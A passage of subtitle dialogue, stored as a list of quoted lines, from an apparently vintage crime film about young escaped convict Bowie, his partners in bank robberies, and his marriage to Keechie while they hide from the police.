Cedars.\" \"", "Thanks, Mattie.\" \"", "The first money's mine, remember.\" \"", "And I want it on the line.\" \"", "You're still a one-eyed lush and you always will be.\" \"", "Jailbait.\" \"", "I don't know what she's got against me.\" \"", "I don't either.\" \"", "The Zelton trick, it's gonna be tough, huh?\" \"", "Tough enough.\" \"", "Yeah?\" \"", "That's for me.\" \"", "I want some action.\" \"", "I'll take steps a block long.\" \"", "Anyone gets in my way, I'll stomp them.\" \"", "Lay it out for us.\" \"", "Everything.\" \"", "I still don't know what she got against me.\" \"", "This is\" \"This is the street.\" \"", "The bank.\" \"", "At 7:28, a freight train pulls in.\" \"", "Here's where we are.\" \"", "Don't forget to keep the car running.\" \"", "The night watchman.\" \"", "Get ready.\" \"", "There's the porter.\" \"", "Over the fence, Chickamaw.\" \"", "Morning, Mr. Hagenheimer.\" \"", "Good morning.\" \"", "One, two, three, four, five, six.\" \" ", "Well, hello.\" \" ", "Good morning.\" \"", "How the little lady like the watch?\" \"", "You don't have to tell me.\" \"", "My cold's all better today.\" \"", "Coming in early.\" \"", "Inventory.\" \" ", "And I got a\" \" Get away.\" \" ", "Did I say something--?\" \" ", "Get away!\" \"", "Hold on, T-Dub.\" \" ", "So long, T-Dub.\" \" ", "See you.\" \"", "Take it easy, but take it.\" \" ", "What's next?\" \" ", "Now we can start strutting.\" \"", "One thing you gotta learn, kid.\" \"", "You gotta look and act like other people.\" \"", "You go ahead, kid, I'll follow you.\" \"", "And you better stomp it, or I'll run you down.\" \"", "Let's go, let's go, let's go.\" \"", "Come on.\" \"", "Come on, Bowie, get a move on.\" \"", "Get in my car, kid, quickly.\" \" ", "My money.\" \" ", "I've got it here.\" \"", "Come on, you can't lay down here.\" \"", "Everybody and his dog is coming.\" \" ", "My gun.\" \" ", "Oh, come on, come on, I got plenty.\" \"", "What's your hurry?\" \"", "I'm taking him to a hospital.\" \"", "He's banged up bad.\" \"", "Yeah, bad.\" \" ", "Where are you from?\" \" ", "Denver.\" \"", "Come to the hospital, you wanna ask questions.\" \"", "You were traveling too fast.\" \"", "Both of you.\" \"", "You come with me.\" \"", "And you too.\" \"", "Not this time, friend.\" \"", "Listen, buddy, you'll get in trouble before you know it.\" \"", "Now, friend.\" \"", "Oh, Lord!\" \"", "Oh, my goodness.\" \"", "What happened?\" \"", "That old one-light jalopy come right out.\" \"", "There ought to be a law.\" \"", "I better dump you at my brother's.\" \"", "How bad hurt are you?\" \"", "I'm all right.\" \"", "Just so sick to my stomach, that's all.\" \"", "That's nothing, I\" \"I used to get sick just from standing up when Ma was cutting my hair.\" \"", "Cut it out, huh?\" \"", "Her name was Peabody then.\" \"", "No.\" \"", "No, that was the first guy.\" \"", "Then it was Vines.\" \"", "Cut it out, will you?\" \"", "The guy with red hair.\" \"", "I told you to cut it out.\" \"", "What's the matter?\" \"", "Vines.\" \"", "Vines was his name.\" \" ", "Getting dark enough so I can be moving on.\" \" ", "Is the boy still out?\" \"", "Yeah, pretty much.\" \"", "It's his back.\" \"", "When he comes to, tell him this:\" \"Tell him when the heat cools to get to the Gusherton house.\" \"", "He can hole up there.\" \" ", "T-Dub and me will meet him there.\" \" ", "Well, I'll tell him, Chickamaw.\" \"", "And keep an eye on him and take care of him.\" \"", "Well, if it wasn't that I was losing money,\" \"I'd just soon close the place up and really take care of him.\" \" ", "Don't you worry about the money.\" \" ", "I've got to worry about it.\" \"", "You, Keechie.\" \"", "Girl... that's more money than I seen since I collected on the fire we had.\" \"", "Bowie.\" \"", "Here.\" \"", "Use this on your face.\" \"", "What's that?\" \"", "It's just a truck pulling away.\" \"", "Where's Chickamaw?\" \"", "He left.\" \"", "I've been in a little trouble.\" \"", "You look it.\" \"", "What happened to you?\" \"", "Sprung my back a little.\" \"", "Chickamaw told me that.\" \"", "Were you shot too?\" \"", "No.\" \"", "Pull your shirt up.\" \"", "Who's your fella, Keechie?\" \"", "Why do you ask that?\" \"", "None of my business.\" \"", "Other girls have fellas.\" \"", "I was just asking.\" \"", "I don't know what other girls have.\" \"", "Is that the patrol?\" \"", "It's the wind and the telephone wires over in the highway.\" \"", "I believe you like the menfolk.\" \"", "Do you, Keechie?\" \"", "They're as good as the women I've seen.\" \"", "Did you ever wanna leave this town, Keechie?\" \"", "I've got a lot of money now.\" \"", "Most girls like to go places.\" \"", "I don't know what most girls like.\" \"", "I didn't mean anything by that, Keechie.\" \"", "I'd do this for a dog.\" \"", "Keechie.\" \"", "My coat.\" \"", "Side pocket.\" \"", "This?\" \"", "I bought something for you there in Zelton.\" \"", "It's a little old watch.\" \"", "Do you want it?\" \"", "Do you wanna give it to me?\" \"", "Yes.\" \"", "Then yes, I want it.\" \"", "Is it true you never had a fella?\" \"", "Even just to go to church with or something?\" \"", "Do you think I should have?\" \"", "I was just asking.\" \"", "That's your own business.\" \"", "I never saw any use of it.\" \"", "You trying to say I should have a fella and that fella ought to be you?\" \" ", "Is that it?\" \" ", "I guess maybe it is.\" \"", "I though maybe that's what you were trying to say.\" \"", "Chickamaw left this for you.\" \"", "Keechie, I've got a lot of money in this.\" \"", "I don't know why I said that.\" \"", "Well, I'm glad you got it...\" \"if that's what you want.\" \"", "That wasn't what I wanted to say.\" \"", "What I wanted to say was now I can get that Tulsa lawyer.\" \"", "He can square me away like I told you.\" \"", "Then nobody in this whole world can touch me.\" \"", "Nobody.\" \"", "What's the matter?\" \"", "They found your gun in your smashed-up car.\" \"", "And your fingerprints on the gun.\" \"", "Policeman was shot up bad.\" \"", "I can skip that trip to the lawyer now.\" \"", "You can't stay here.\" \"", "Papa's gone up to town.\" \"", "He'll get himself sauced and shoot his mouth off.\" \"", "Yeah, I'll get you both in a mess.\" \"", "You'll be all right for tonight.\" \"", "You can go tomorrow.\" \"", "You sure it's okay for me to stay?\" \"", "You stay till tomorrow, then you go.\" \"", "I'll go with you, if you want.\" \"", "Why?\" \"", "What do you wanna do that for?\" \"", "Keechie, what--?\" \"", "What time is it?\" \"", "I don't know.\" \"", "There's no clock here to set it by.\" \"", "It's a nice watch.\" \"", "Well, what time do the hands say?\" \"", "Five minutes to 2.\" \"", "That's close enough.\" \"", "Ma'am, your baby's crying.\" \"", "Well, I've been on this bus three days.\" \"", "When we get to the next stop, I'll fix her bottle.\" \"", "Till then, I just don't care.\" \"", "Hey, come on.\" \"", "Shh.\" \"", "This is Fairfield, folks, you'll have a 10-minute rest stop.\" \"", "You'll find the restrooms inside and to the rear.\" \"", "You also change cars here for Zelton, Cedars and points west.\" \" ", "Sandwiches, ham salad, egg salad.\" \" ", "Coffee, please.\" \" ", "I'll have a ham sandwich.\" \" ", "Coffee?\" \"", "Ham salad, eggs, that's all we have.\" \"", "Express just come through cleaned us out.\" \"", "Sandwiches.\" \"", "Ham salad, egg salad, all we got.\" \" ", "Just some coffee, please.\" \" ", "Two.\" \"", "Ham salad, egg salad, that's all we have.\" \" ", "Express just come through cleaned us out.\" \" ", "Do you serve beer?\" \"", "That's the only picture of me anybody took.\" \" ", "Yeah?\" \" ", "I was 14.\" \"", "Chickamaw took it.\" \"", "Nobody will know me, not from that picture.\" \"", "Yeah, well, you filled out some since.\" \"", "Two coffees.\" \"", "There's Hawkins' Class B wedding.\" \"", "Organ music and everything.\" \"", "Twenty bucks.\" \"", "Twenty bucks.\" \"", "There ought to be a law.\" \"", "The way people pop in and out, one, two, three, quick.\" \"", "You'd think they were getting dog licenses.\" \"", "I don't wanna get you in trouble, Keechie.\" \"", "I tell you, I'm just a black sheep.\" \"", "There's no getting away from it.\" \"", "The only thing black about you is your eyelashes.\" \"", "Coffee was awful.\" \"", "When a man has them laws after him, they shoot first and ask questions later.\" \"", "They're just as likely to shoot a woman down with him as not.\" \"", "Don't you see what you got yourself mixed up?\" \"", "All aboard.\" \"", "Southbound bus.\" \" ", "Didn't that woman with the baby get off?\" \" ", "Yeah.\" \"", "We can sit together.\" \"", "Let's go.\" \"", "You wanna sit by the window?\" \"", "I don't care.\" \"", "All right.\" \"", "Here.\" \" ", "Bowie.\" \" ", "Yeah?\" \"", "Don't shut yourself up cold like this.\" \"", "I don't know what to do.\" \"", "No?\" \"", "No, I don't.\" \"", "You do just what you're doing now.\" \"", "Just tell me when I'm doing the wrong thing.\" \"", "I'll snap out of it.\" \"", "All right, Bowie.\" \"", "Look.\" \"", "Twenty-dollar weddings.\" \"", "What a way to get married.\" \"", "Yeah.\" \"", "Keechie.\" \"", "Would you marry me?\" \"", "If you want me to.\" \"", "I want you to.\" \" ", "Then, yes, I would.\" \" ", "Hey, driver hold it.\" \" ", "What's the matter?\" \" ", "We're getting off.\" \"", "Come on, come on.\" \" ", "Wait a minute.\" \" ", "Come on, pal, I got a schedule.\" \"", "Keechie.\" \"", "What time is it?\" \"", "Ten minutes to 12.\" \"", "Hello, hello.\" \" ", "Do you do the marrying?\" \" ", "That's my business.\" \"", "I have a 30-dollar wedding which gives a recording of the ceremony on records.\" \" ", "I have a 20-dollar\" \" Will you just marry us?\" \"", "That'll be 20 dollars.\" \" ", "Tillie, Herman.\" \" ", "Who are they?\" \"", "My sister and her husband.\" \"", "Witnesses.\" \"", "Do we have to have them?\" \"", "Oh, yeah.\" \"", "First, you gotta sign your names over here.\" \"", "If you'll, uh, just sign the register.\" \"", "There.\" \"", "I'll rent you a ring for a dollar, or sell you one for 5.\" \"", "I'll buy one.\" \"", "Um... this one will do it.\" \"", "By virtue of the power vested in me, I hereby perform this wedding ceremony.\" \"", "Do you, Catherine, take Arthur as your lawful wedded husband\" \" to love, honor, and cherish henceforth?\" \" ", "I do.\" \"", "Do you, Arthur, take Catherine as your lawful wedded wife\" \" to love, honor, and cherish henceforth?\" \" ", "I do.\" \"", "Put the ring on her finger.\" \"", "Now, by virtue of the power vested in me,\" \"I now pronounce you husband and wife.\" \"", "Tip them each a dollar.\" \"", "Wish you all the health, happiness and wealth in the world.\" \"", "Herman, you got a cold.\" \"", "I'm sorry.\" \"", "I have.\" \"", "That'll be $20, plus 5 for the ring.\" \"", "You don't think much of my way of marrying people, do you?\" \"", "I sure don't.\" \"", "Well, me neither, but I'm giving folks what they want.\" \"", "My way of thinking, folks ought to have what they want, long as they can pay for it.\" \" ", "You folks driving?\" \" ", "No.\" \" ", "Come in on the bus?\" \" ", "No.\" \"", "You ain't aiming to get a hitch?\" \"", "That's no way to start a honeymoon.\" \"", "You got any ideas?\" \"", "Well, thought maybe I could fix you up with a car.\" \"", "Maybe.\" \"", "Party I know took in a new convertible today.\" \"", "How long will it take?\" \"", "If it means money, this party will be over in his nightshirt.\" \"", "Shall I?\" \"", "All right.\" \"", "7047.\" \"", "Forty-five miles and no messing with a speedometer.\" \"", "Hello, James?\" \"", "That new convertible.\" \"", "Yeah, yeah.\" \"", "Couple of eager honeymooners.\" \"", "How much?\" \"", "Uh...\" \"Twenty-seven hundred, cash.\" \" ", "All right.\" \" ", "Plus 500, cash.\" \" ", "For you?\" \" ", "For me.\" \"", "All right.\" \"", "Bring it over, pronto, Jamesy.\" \"", "Uh, you folks have any idea where you're going?\" \" ", "On your honeymoon, I mean?\" \" ", "Why?\" \"", "Well, I've some mighty attractive folders there.\" \"", "Ever think about Mexico?\" \"", "I could fix it so you'd have a real nice time.\" \"", "We know where we're going.\" \"", "That's fine.\" \"", "Of course, I'm partial to Mexico myself.\" \"", "I spent a good many years there once.\" \"", "I made a lot of good friends.\" \"", "She said we know where we're going.\" \"", "Uh...\" \"Yeah.\" \"", "Oh, them old jalopies, they make the accidents.\" \"", "Ought to be a law.\" \" ", "What's so funny?\" \" ", "Oh, Bowie.\" \"", "What did I say funny?\" \"", "I like you so much.\" \"", "I don't know much about kissing.\" \"", "You're gonna have to show me.\" \" ", "I don't know too much about it myself.\" \" ", "We'll learn together.\" \" ", "Yeah?\" \" ", "You got a place for us?\" \"", "Alvin!\" \"", "Well, that depends.\" \"", "How long do you aim to stay?\" \"", "A month or two.\" \"", "Maybe more.\" \"", "You didn't have to do that.\" \"", "Yeah, I got a couple of places.\" \"", "Not fancy, but comfortable.\" \"", "I just aim to keep out the fly-by-nights.\" \"", "My name's Lambert.\" \"", "This is my boy, Alvin.\" \"", "I'm learning him the business.\" \" ", "What'd you say your name was?\" \" ", "Vines.\" \"", "Well, let's see what you and Mrs. Vines like now.\" \"", "Right up this way.\" \" ", "What's your business, son?\" \" ", "Ballplayer.\" \"", "Well, now, that's an honorable enough calling.\" \"", "We got a schoolteacher, two salesmen and now we got a ballplayer.\" \"", "Here we are.\" \"", "Here we are.\" \"", "This Bella Vista cabin's one of our nicest.\" \"", "Well, what is it, folks?\" \"", "Well, don't you have a place a little away from the others?\" \" ", "Ah-ha.\" \"", "Just married, ain't you?\" \" ", "Yeah.\" \"", "Learn that, Alvin.\" \"", "Just married people like to be alone.\" \"", "I should think so.\" \"", "Well, follow me.\" \"", "This place I'm going to show you is clean away from everything but the sky and the trees.\" \" ", "Did you travel far?\" \" ", "Pretty far.\" \" ", "How'd you happen to come here?\" \" ", "Friends told us about it.\" \"", "You see, Alvin, a satisfied customer is your best advertisement.\" \"", "This is it.\" \"", "Turn right in here.\" \"", "Well, here we are.\" \"", "Uh, mind the second step.\" \"", "Not fancy, but it's comfortable.\" \"", "We got a lot of blankets.\" \"", "It gets kind of chilly up here.\" \"", "It freezes, but it never snows.\" \" ", "How much is it?\" \" ", "Thirty-five a week, in advance.\" \"", "The light and water's included.\" \"", "Think that'll bust us?\" \"", "Thanks.\" \"", "Hope you folks enjoy yourselves.\" \"", "If there's anything I can do for you, just give me a holler.\" \"", "Come on, Alvin.\" \"", "You see, everybody has their own ideas.\" \"", "I remembered everything all different.\" \"", "It seemed like such a nice place.\" \"", "We'll manage, honey.\" \"", "Bowie.\" \"", "Keechie, this is our honeymoon.\" \"", "It don't make any difference where we are.\" \"", "We'll get some paint.\" \"", "Keechie, what kind of paint do people use in homes?\" \"", "I'll get some things in town tomorrow.\" \"", "Soon as the heat cools, I'll take you to all the fine places.\" \"", "We'll have a real honeymoon.\" \"", "I'll buy you everything you want.\" \"", "What do you want?\" \"", "What can I buy you?\" \"", "It's all for you.\" \"", "Just tell me what you want.\" \"", "If there's anything I can do for you, just give me a holler.\" \"", "Let's get the things from the car.\" \" ", "Is anything wrong?\" \" ", "No.\" \" ", "What, are you mad?\" \" ", "No.\" \"", "Bowie, hold me.\" \"", "Hold me tight.\" \"", "After it was in every paper in the state, then you remembered.\" \"", "Well, try remembering a little more.\" \" ", "I tell you, I just saw the boy once.\" \" ", "You're sure of that?\" \"", "I saw him the first time.\" \"", "I didn't see him the second time, but I knew that he was there.\" \"", "Can the girl handle a gun?\" \"", "Now, look, mister, this man of yours don't understand me.\" \"", "I wouldn't try to cover up for that boy.\" \"", "Not after what he did to me, taking my daughter.\" \"", "That boy belongs in the electric chair.\" \"", "That's where I'd like to see him.\" \"", "Yes, and I'd like to be the one to pull the switch.\" \"", "I tell you, if I could get my hands on that boy\" \" That's all.\" \" ", "I'd wring his neck like a chicken.\" \" ", "Goodbye, Mobley.\" \" ", "Yes, sir, I'd wring his neck\" \" Like a chicken, we know.\" \" ", "Yes.\" \"", "Just wanna say I'm proud to help you any way I can.\" \"", "Just call me anytime and I'll\" \" I'll\" \"Between him and a chicken, I'd bet on the chicken.\" \"", "Yes, sir.\" \"", "Wanna put somebody else on the case, sir?\" \"", "Relax.\" \"", "Remember what Bowers and the girl are going through.\" \"", "A hundred and forty million people around them.\" \"", "Any one of them might trip them up.\" \"", "Money to spend and no chance to spend it.\" \"", "All the time knowing one thing, sooner or later they'll be caught.\" \"", "Every time they hear on a door, their hearts jump a foot.\" \"", "A heart can take just so much.\" \"", "What would you do if something came up and I had to leave you, and maybe we wouldn't be able to see each other again?\" \"", "Didn't you hear me?\" \"", "There wouldn't be anything for me if you were gone.\" \"", "No use thinking about it.\" \"", "What about those other women I was talking about?\" \"", "Pop got back, and there's some packages.\" \"", "Packages?\" \" ", "I'll be right down.\" \" ", "I'll go.\" \"", "Nuh-uh.\" \"", "What about those women who don't wait for their men?\" \"", "Those women don't love.\" \"", "A woman only loves once.\" \"", "I guess a woman is sort of like a dog.\" \"", "A bad dog will take things from anybody.\" \"", "But you just take a good dog.\" \"", "His master dies, he won't take food from anybody.\" \"", "He'll bite anybody that tries to pet him.\" \"", "There was a man back up home, and after he died, his dog wouldn't eat or drink.\" \"", "Then he just died too.\" \" ", "Just goes to show you, don't it?\" \" ", "I guess it does.\" \"", "You better start finishing the tree.\" \"", "I wish we could go in town and take a chance on seeing a movie together.\" \"", "I've always wanted to hold hands with a girl in a movie.\" \"", "We will someday.\" \"", "Keechie?\" \"", "How's the headline, kid?\" \"", "Chickamaw.\" \" ", "Are you alone?\" \" ", "I'm alone, aren't I?\" \"", "Well, ain't you shacked up nice and cozy, huh?\" \" ", "Got a drink, kid?\" \" ", "No, I'm sorry.\" \" ", "Got some candy?\" \" ", "Sure.\" \"", "Here.\" \"", "Man, you're doing all right for yourself.\" \"", "You can't pick up a paper without seeing you plastered all over it.\" \"", "Every time some dingbat robs a filling station, they say it's Bowie the Kid, the Zelton Bandit.\" \"", "You'd have to have wings to be everyplace they say you been.\" \" ", "Where's the girl?\" \" ", "Keechie?\" \"", "How many of them you got?\" \"", "Just one.\" \"", "Yeah, kind of figured she'd head back for these old hills.\" \"", "We're married.\" \"", "Hey.\" \"", "Hey, we should have learned you the facts of life.\" \"\"", "We're married,\" he says.\" \"", "How do you like that?\" \"", "Hey, ready to get back to work?\" \"", "No time like the present.\" \"", "Between them aces and kings I didn't draw and the Denver queens I did draw,\" \"I got no money left.\" \" ", "No drink, huh?\" \" ", "What about T-Dub?\" \"", "What happened to his?\" \"", "He didn't get Mattie's man out of jail.\" \"", "The parole board said no.\" \"", "That T-Dub, he's crazy.\" \"", "You know what he did?\" \"", "No.\" \"", "He bought both of them a tourist camp in McMasters for when his brother gets out of jail.\" \"", "He's in Gusherton now.\" \"", "He's waiting for us.\" \" ", "Sure there's nothing to drink here, huh?\" \" ", "Mm-mmm.\" \"", "Kid, we got us a little bank in Cedar that's just itching to be charged.\" \"", "It's all cased proper.\" \"", "It's just itching, I tell you.\" \"", "Count me out, Chickamaw.\" \"", "I still got most of my Zelton money.\" \"", "You and T-Dub can have half of that.\" \"", "You know, that's real friendly.\" \"", "Real friendly.\" \"", "Yeah, I'll split with you and old T-Dub.\" \"", "You ain't gonna be handling me out two bits at a time for ice-cream cones.\" \"", "That dough you got, where'd you get it, working in a shoe store?\" \"", "It takes three to pull a trick, and you're number three.\" \"", "Even if the papers do say you're number one.\" \"", "T-Dub said you'd come.\" \"", "When I read about you and the girl, I figured maybe yes, maybe no.\" \" ", "That bank's got real dough.\" \" ", "I said count me out.\" \" ", "That's a bad curve that girl's making you\" \" Cut it out, Chickamaw.\" \"", "You better get rid of her.\" \"", "When's she coming back?\" \"", "Right away, and I don't want her to see you.\" \"", "Okay, I'll wait outside.\" \"", "I'll wait out in the car for you, half hour.\" \"", "Then I'm coming back.\" \"", "Hey, come help me.\" \"", "Bring some wrapping paper.\" \"", "I got a sweater for Alvin, and I've got a\" \"Chickamaw's been here.\" \" ", "What'd he want?\" \" ", "He and T-Dub are broke.\" \"", "They ain't got two quarters to clink together.\" \"", "They want me in Gusherton.\" \" ", "I'm going with you.\" \" ", "No, you're not.\" \"", "You don't belong with that kind of people.\" \" ", "I said you weren't going.\" \" ", "I heard you.\" \"", "Then quit running around when I'm talking to you.\" \"", "All right.\" \"", "I thought maybe we'd be lucky, they wouldn't find us.\" \"", "After a while, we'd go and live like other people.\" \" ", "We will, you'll see.\" \" ", "Live that way maybe nine or 10 years.\" \"", "It's happened to other men who escaped.\" \"", "After a while, they tell the police.\" \"", "They let them go.\" \"", "They proved they can live like people.\" \"", "Oh, it could be.\" \"", "It sure could be.\" \" ", "You're my little old girl.\" \" ", "Not if you go back.\" \"", "Look, I'll tell Chickamaw and old T-Dub:\" \"\"Boys, I'll do this because you're broke.\" \"", "But after that, mark me absent.\"\" \" ", "I'll tell them.\" \" ", "They'll say, \"Sure, Bowie.\"\" \"", "Then one day I'll come home, find out Chickamaw's been here.\" \"", "Me and those two, we spent years together.\" \"", "Mostly we made signs at each other.\" \"", "We couldn't even talk.\" \"", "They helped me get free.\" \"", "Now they need me.\" \"", "Banks aren't fools.\" \"", "They'll be ready and waiting.\" \"", "I don't wanna pick up a newspaper and read the Zelton Bandit's killed.\" \"", "You're so smart.\" \"", "That little package on the mantel, that's your Christmas present.\" \" ", "You saved for it out of the house money?\" \" ", "Yes.\" \"", "No point talking to Chickamaw.\" \"", "He's a stomping fool.\" \"", "But maybe when I see T-Dub, if I tell him what you told me\" \"Just promise me one thing, Bowie.\" \"", "No matter what he says, you won't rob that bank.\" \"", "Just tell me that, and you can go see them and I'll wait for you.\" \"", "What time does your watch say?\" \"", "I wanna set this one of mine.\" \"", "What difference does it make?\" \"", "I'll be back.\" \"", "Bowie.\" \"", "It's 10 minutes to 12.\" \" ", "Keechie's a level-headed girl, ain't she?\" \" ", "I knew you'd say that, T-Dub.\" \"", "And don't think I wouldn't like to pull out.\" \"", "If I could find the right woman, I'd rear back in them Missouri hills\" \"I know, T-Dub.\" \"", "You told me that.\" \" ", "But this is business, son.\" \" ", "You said yourself I had the right idea.\" \"", "Way things are, we gotta keep right on going.\" \"", "Not me.\" \"", "You can just mark me absent.\" \"", "We took you out of that prison when there was plenty of others we could've took.\" \" ", "Right, Chickamaw?\" \" ", "Right.\" \"", "So to speak, you're an investment, and you're gonna pay off.\" \" ", "You hear me?\" \" ", "Don't do that, T-Dub.\" \"", "You hear me?\" \"", "Did you hear me?\" \"", "Yeah, I hear you.\" \"", "Back to the news.\" \"", "The luck of the Zelton Bandits began running out today when they attempted one of the most daring robberies in the Southwest.\" \"", "But this time, it did not come off.\" \"", "Local police closed in on them\" \"current wave of robberies.\" \"", "In a desperate attempt to reach the getaway car,\" \"Henry \" T-Dub\" Mansfield was shot and killed.\" \"", "It is believed at least one other was wounded.\" \"", "The leader, Bowie \" The Kid\" Bowers, fast trigger-killer has so far\" \" Get in the back.\" \" ", "Bowie the Kid.\" \"", "Stay down.\" \"", "They're looking for two together, not one.\" \"", "Don't you tell me what to do.\" \"", "You ask me if I wanna do it.\" \"", "The leader.\" \" ", "That rips my guts out.\" \" ", "What are you talking about?\" \"", "Bowie the Kid.\" \"", "You.\" \"", "All the newspapers print about is you.\" \"", "You and that two-bit girl of yours.\" \"", "Ha.\" \"", "Makes me look like a penny in a slot machine.\" \" ", "Where's that bottle, huh?\" \" ", "You finished it.\" \"", "Stay down.\" \"", "Bowie, don't keep telling me what to do.\" \"", "Just because you covered for me in Cedars, you think I owe you.\" \"", "Think you can shove me around.\" \"", "I want that drink.\" \"", "I want that drink, and I'm gonna get it.\" \" ", "Do we stop?\" \" ", "Keep your head down.\" \"", "Do we stop?\" \"", "Get out.\" \"", "Get out, I tell you.\" \"", "I can't miss this close.\" \"", "Sure, I'll get out.\" \"", "I don't need you.\" \"", "I can crack any bank in this country alone.\" \"", "I'm better off alone.\" \"", "And I always was.\" \"", "That is the only available identification of the youthful Zelton Bandit.\" \"", "We continue with our Christmas program of music to sing with.\" \"", "What's happened here?\" \"", "The pipes bust.\" \"", "Lambert's getting a plumber.\" \"", "Well, how did you let it get so flooded?\" \"", "I was away when it happened.\" \"", "So were you.\" \"", "Well, it doesn't matter.\" \"", "We'll buy some new things.\" \"", "Doesn't make any difference.\" \" ", "I guess you heard over the radio.\" \" ", "I heard.\" \" ", "About T-Dub?\" \" ", "And Chickamaw.\" \"", "What happened to him?\" \"", "He was killed last night breaking into a liquor store.\" \"", "They say it runs in threes.\" \"", "Oh, honey, I didn't mean to get you mixed up in this.\" \"", "I can take care of myself.\" \"", "Anyway, they can't pin nothing on you.\" \"", "When did you start thinking about me?\" \"", "You sure didn't think about me when you were gone.\" \"", "Don't you touch me.\" \"", "It was me or them and you took them, didn't you?\" \"", "I don't like to talk about them boys.\" \" ", "Well, where you going?\" \" ", "What's it to you?\" \"", "I told you not to touch me.\" \"", "Don't leave this way, sore like this.\" \"", "Look, if anybody leaves, it's me.\" \"", "I'm not staying.\" \"", "I'll go outside for a while.\" \"", "If nothing will do you but going, you take the car.\" \"", "You know where the money is.\" \"", "Hi, Mr. Vines.\" \"", "Sorry we had a little trouble here while you were gone.\" \"", "Have a good trip?\" \"", "I got you Rudy here.\" \"", "He'll fix you up in no time.\" \" ", "In there, Rudy.\" \" ", "Busted pipes, eh?\" \"", "First it freezes, then it thaws.\" \"", "I should be used to it by this time.\" \" ", "The best plumber around.\" \" ", "The only plumber around.\" \"", "Yeah, that's right.\" \"", "You don't happen to have a cigarette?\" \"", "Somebody cleaned out the office machine with slugs.\" \"", "Oh, thanks.\" \"", "You know what we always say?\" \"", "When pigs go around with sticks in their mouths, there'll be a blue norther in Texas.\" \"", "I heard a peafowl howling.\" \"", "That means rain.\" \"", "Yeah.\" \"", "Well, sure busted a lot of pipes.\" \"", "Well, merry Christmas.\" \"", "Come on, Alvin.\" \"", "I gotta change my shoes.\" \" ", "Me too?\" \" ", "Yeah, come on.\" \"", "Merry Christmas.\" \"", "You said you weren't here when the pipes bust.\" \"", "Where were you?\" \" ", "I asked you where you were.\" \" ", "Seeing a doctor.\" \" ", "About what?\" \" ", "The baby we're gonna have.\" \"", "Well, that's just fine.\" \"", "That's all I need.\" \"", "You don't see me knitting anything, do you?\" \"", "I\" \" I need my other tools.\" \"", "Get your coat quick.\" \"", "And leave everything else.\" \" ", "Bowie?\" \" ", "Yeah?\" \"", "You wouldn't have let me go, would you?\" \"", "You'd have made me stay, wouldn't you?\" \"", "I'm good for you.\" \"", "I do help you a whole lot, don't I?\" \"", "Bowie, no matter what, do you want me with you?\" \"", "If you want to.\" \"", "I want to.\" \"", "I'd like to get in the big city.\" \"", "Chickamaw was always talking about them cities.\" \"", "He said people don't big-eye you so much.\" \"", "I guess Alvin won't get his sweater for Christmas.\" \"", "I left it on the radio.\" \"", "He'll find it.\" \"", "Bowie...\" \"I'm gonna have our baby.\" \"", "No matter what, I'm gonna have it.\" \"", "That's right.\" \"", "He'll just have to take his chances, same as us:\" \"Bowie.\" \" ", "What, honey?\" \" ", "Try and sleep.\" \"", "Sure.\" \"", "Sure.\" \" ", "Honey.\" \" ", "What's happening?\" \" ", "What's wrong?\" \" ", "Look.\" \" ", "What is it?\" \" ", "It's the Mississippi.\" \"", "We're almost there.\" \"", "It's a big river, isn't it?\" \"", "It's the biggest.\" \"", "Someday, I'd like to see some of this country we've been traveling through.\" \"", "By daylight, you mean?\" \"", "That'd be nice.\" \"", "Won't be long now.\" \"", "You want me to drive?\" \"", "No, you go back to sleep.\" \"", "It's good to wake up and see the sun for a change.\" \"", "Good morning, darling.\" \"", "Mm.\" \"", "I like opening my eyes and seeing you.\" \"", "How do you feel?\" \"", "Every time I wake up, I feel just like a cat.\" \"", "You're like a little kitten.\" \"", "Soft and warm.\" \" ", "And you purr too.\" \" ", "Do I?\" \"", "You don't mean snore, do you?\" \"", "Yes?\" \"", "It's me, Mrs. Havilland.\" \"", "Just a second.\" \"", "I thought you might like some breakfast.\" \"", "I made some sweet potato pie.\" \"", "I know you'd mostly rather sleep than breakfast.\" \" ", "I'm glad you thought of us.\" \" ", "Then I'm glad too.\" \"", "Thank you.\" \"", "Say, honey, you're sure getting chubby.\" \"", "Don't you like it?\" \"", "You could get as big as the side of a barn, and I'd like it.\" \" ", "Sweet potato pie.\" \" ", "Yeah.\" \"", "Mm.\" \"", "How'd you like to really make a day of it, eat someplace fine?\" \"", "With music and all that, just like other people?\" \"", "Oh, Bowie, that's just what I would like.\" \"", "I'll wear my gray flannel suit.\" \"", "I'll strut out my double-breasted.\" \"", "Well, start strutting.\" \"", "Ain't that some way to ride?\" \"", "Bobbing your bottom up and down like that?\" \"", "Uh-huh.\" \"", "Why do they do it?\" \"", "They're not going anyplace.\" \" ", "I guess they got nothing else to do.\" \" ", "Far as I'm concerned, it's a waste of time.\" \"", "Trees are so old, they're growing whiskers.\" \"", "That's something else I never could figure.\" \"", "How anybody could get interested in patting a little ball around.\" \"", "If they stood on their heads, it wouldn't bother me if they were having a good time.\" \"", "People sure do act funny, though.\" \" ", "You having a good time?\" \" ", "Such a good time, Bowie.\" \"", "I don't see anything to that dancing out there, do you?\" \"", "I never did care much for dancing.\" \"", "Look at them.\" \"", "I think it's silly switching around like that, getting all het up.\" \"", "You didn't think it so silly when that Mexican girl was.\" \"", "Me?\" \"", "What did I do?\" \"", "You didn't even find time to light my cigarette.\" \"", "Ohhh.\" \"", "I don't remember that.\" \" ", "Want to try something a little stronger?\" \" ", "No.\" \" ", "Are you having a good time?\" \" ", "Wonderful.\" \"", "You?\" \" ", "The more I think of that Mexico\" \" And those Mexican girls?\" \"", "The more I think of Mexico, the more I like it.\" \" ", "Remember the gent who married us?\" \" ", "I remember.\" \"", "It wasn't that long ago.\" \"", "They was another one who was that way about Mexico.\" \"", "You and me, honey, with what we got salted away, we could live down there like real people.\" \"", "Maybe in a little while,\" \"I could get lined up with one of them big mining companies, and maybe we\" \"No trouble, Bowie, come on.\" \"", "Come on.\" \"", "Are you all right?\" \"", "Are you hurt?\" \" ", "Oh, we shouldn't have come out.\" \" ", "I'm all right.\" \"", "Cigarette?\" \" ", "I'll get some.\" \" ", "I'll be in the car, out in the air.\" \" ", "Any cigarettes?\" \" ", "You get them from the porter in there, sir.\" \" ", "Just cigarettes.\" \" ", "Yes, sir.\" \"", "Bowie the Kid?\" \"", "Don't be corny, Bowers.\" \"", "Papers say you carry a .45.\" \" ", "They say a lot of things.\" \" ", "Yeah, I know.\" \"", "Using this would be a bad idea.\" \"", "These things make a lot of noise.\" \"", "What are your plans, Bowers?\" \"", "I'll tell you what your plans are.\" \"", "You're leaving town tonight.\" \"", "Nothing against 